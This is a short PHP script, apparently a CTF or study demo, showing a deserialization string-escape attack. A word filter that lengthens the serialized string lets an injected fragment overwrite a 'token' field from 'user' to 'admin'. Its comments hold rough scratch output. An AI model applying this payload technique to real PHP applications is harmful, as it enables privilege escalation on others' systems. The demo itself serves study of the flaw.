<?php

class message{
    public $from;
    public $token='user';
    public function __construct($f){
        $this->from = $f;
    }
}

$str = <<<EOF
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
EOF;

$msg = new message($str);
var_dump(serialize($msg));
$umsg = str_replace('fuck', 'loveU', serialize($msg));
var_dump($umsg);

/*
O:7:"message":2:{s:4:"from";s:4:"fuck
";s:5:"token";s:4:"user";}

O:7:"message":2:{s:4:"from";s:4:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
O:7:"message":2:{s:4:"from";s:4:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:4:"user";}

27
";s:5:"token";s:5:"admin";}
";s:5:"token";s:4:"user";}
*/

$msg = unserialize($umsg);
var_dump($msg);

class c1{
    public $a = array("123", "456");
    public $b = "123456";
}
var_dump(serialize(new c1()));